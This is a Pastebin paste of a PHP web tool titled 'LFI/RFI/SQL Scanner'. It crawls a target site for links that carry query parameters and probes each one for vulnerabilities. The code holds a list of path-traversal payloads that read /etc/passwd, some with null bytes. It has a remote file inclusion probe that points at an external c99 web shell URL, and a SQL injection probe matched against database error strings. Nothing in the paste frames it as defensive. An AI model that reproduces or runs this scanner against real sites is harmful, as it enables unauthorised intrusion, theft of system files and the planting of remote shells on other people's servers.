bonekcok21

LFI/RFI/SQL Scanner

Aug 14th, 2016
1,250
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.90 KB | None | 0 0
  1. <html>
  2. <head><title>LFI/RFI/SQL Scanner</title></head>
  3. <?php
  4. set_time_limit(0);
  5. if (isset($_GET["do"])) {
  6.   $do = explode(":",$_GET["do"]);
  7.   if ($do[0] == "selected") {selected($do[1]); }
  8.   elseif ($do[0] == "scantime") { scantime($do[1]); }
  9.  
  10. }   else { main(); }
  11.  
  12. function main(){
  13. echo 'LFI, RFI, SQL - Scanner
  14. <form action="" method="post">
  15. Site to test: <input name="scan" type="text" />
  16. <input type="submit" name="searchn" value="Scan"/>
  17. </form>';
  18. $link = $_POST['scan'];
  19. preg_match('@^(?:http://)?([^/]+)@i',$link, $matches);
  20. $host = $matches[1];
  21.  
  22. function getLinks($link) {
  23. $ret = array();
  24. $dom = new domDocument;
  25. @$dom->loadHTML(file_get_contents($link));
  26. $dom->preserveWhiteSpace = false;
  27. $links = $dom->getElementsByTagName('a');
  28. foreach ($links as $tag)
  29.  {
  30.  $ret[$tag->getAttribute('href')] = $tag->childNodes->item(0)->nodeValue;
  31.  }
  32. return $ret;
  33. }
  34. if (isset($_POST["searchn"])) {
  35. echo '<form action="lfi.php?do=selected" method="post">';
  36. echo "<br>Links found: <ol>";
  37. if (preg_match("/=/", $link)) {
  38. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$link.'">'.$link.'<br>';
  39. }
  40. $urls = getLinks($link);
  41. if(sizeof($urls) > 0)
  42. {
  43. foreach($urls as $key=>$value)
  44. {
  45. if (preg_match("/=/i", $key)) {
  46. if (preg_match("/.com|.net|.org|.co.uk|.com.au|.us/", $key)) {
  47. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$key.'">'.$key.'<br>';
  48. }
  49. else{
  50. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$host.'/'.$key.'">'.$host.'/'.$key.'<br>';
  51. }
  52. }
  53. }
  54. echo "</ol>";
  55. }
  56. else
  57. {
  58. echo "</ol>";
  59. echo "No exploitable links found at $link<br><br>";
  60. }
  61. echo "<input type='submit' value='Scan Sites'></form>";
  62. }
  63. }
  64.  
  65. function selected(){
  66. echo '<form action="lfi.php?do=scantime" method="post">';
  67.     $sites = $_POST['sites'];
  68.   $n = count($sites);
  69.   $i = 0;
  70.     $r = 1;
  71.   echo "Testing.." .
  72.        "<ol>";
  73.   while ($i < $n)
  74.   {
  75. $site = "{$sites[$i]}";
  76. $equals = strrpos($site,"=");
  77. $siteedit = substr_replace($site, '', $equals+1);
  78. echo "<br />$r. $siteedit<br />";
  79. rfi($siteedit);
  80. lfi($siteedit);
  81. sql($siteedit);
  82. $i++;
  83. $r++;
  84.   }
  85.   echo "</ol>";
  86.     echo "<a href='lfi.php'>Test again</a>";
  87. }
  88.  
  89. function lfi($site) {
  90. $lfifound = 0;
  91. $lfi = array(
  92. "/etc/passwd",
  93. "../etc/passwd",
  94. "../../etc/passwd",
  95. "../../../etc/passwd",
  96. "../../../../etc/passwd",
  97. "../../../../../etc/passwd",
  98. "../../../../../../etc/passwd",
  99. "../../../../../../../etc/passwd",
  100. "../../../../../../../../etc/passwd",
  101. "../../../../../../../../../etc/passwd",
  102. "../../../../../../../../../../etc/passwd",
  103. "/etc/passwd%00",
  104. "../etc/passwd%00",
  105. "../../etc/passwd%00",
  106. "../../../etc/passwd%00",
  107. "../../../../etc/passwd%00",
  108. "../../../../../etc/passwd%00",
  109. "../../../../../../etc/passwd%00",
  110. "../../../../../../../etc/passwd%00",
  111. "../../../../../../../../etc/passwd%00",
  112. "../../../../../../../../../etc/passwd%00",
  113. "../../../../../../../../../../etc/passwd%00"
  114. );
  115.  
  116. $totallfi = count($lfi);
  117. for($i=0; $i<$totallfi; $i++)
  118.  {
  119. $GET = @file_get_contents("$site$lfi[$i]");
  120. if (preg_match("/root/i",$GET, $matches))  {
  121. echo "LFI found: $site$lfi[$i]<br>";
  122. $lfifound = 1;
  123. }
  124. }
  125. if ($lfifound == 0) {
  126. echo "No LFI found.<br>";
  127. }
  128. }
  129.  
  130. function rfi($site) {
  131. $rfifound = 0;
  132. $rfi = "http://www.evilc0der.com/c99.txt?";
  133. $GET1 = @file_get_contents("$site$rfi");
  134. if (preg_match("/root/i",$GET1, $matches))  {
  135. echo "RFI found: $site$rfi<br>";
  136. $rfifound = 1;
  137. }
  138. if ($rfifound == 0) {
  139. echo "No RFI found.<br>";
  140. }
  141. }
  142.  
  143. function sql($site) {
  144. $sqlfound = 0;
  145. $sql = "99'";
  146. $GET2 = @file_get_contents("$site$sql");
  147. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET2, $matches))  {
  148. echo "SQL found: $site$sql<br>";
  149. $sqlfound = 1;
  150. }
  151. if ($sqlfound == 0) {
  152. echo "No SQL found.<br>";
  153. }
  154. }
  155. ?>
  156. </html>
Advertisement
Add Comment
Please, Sign In to add comment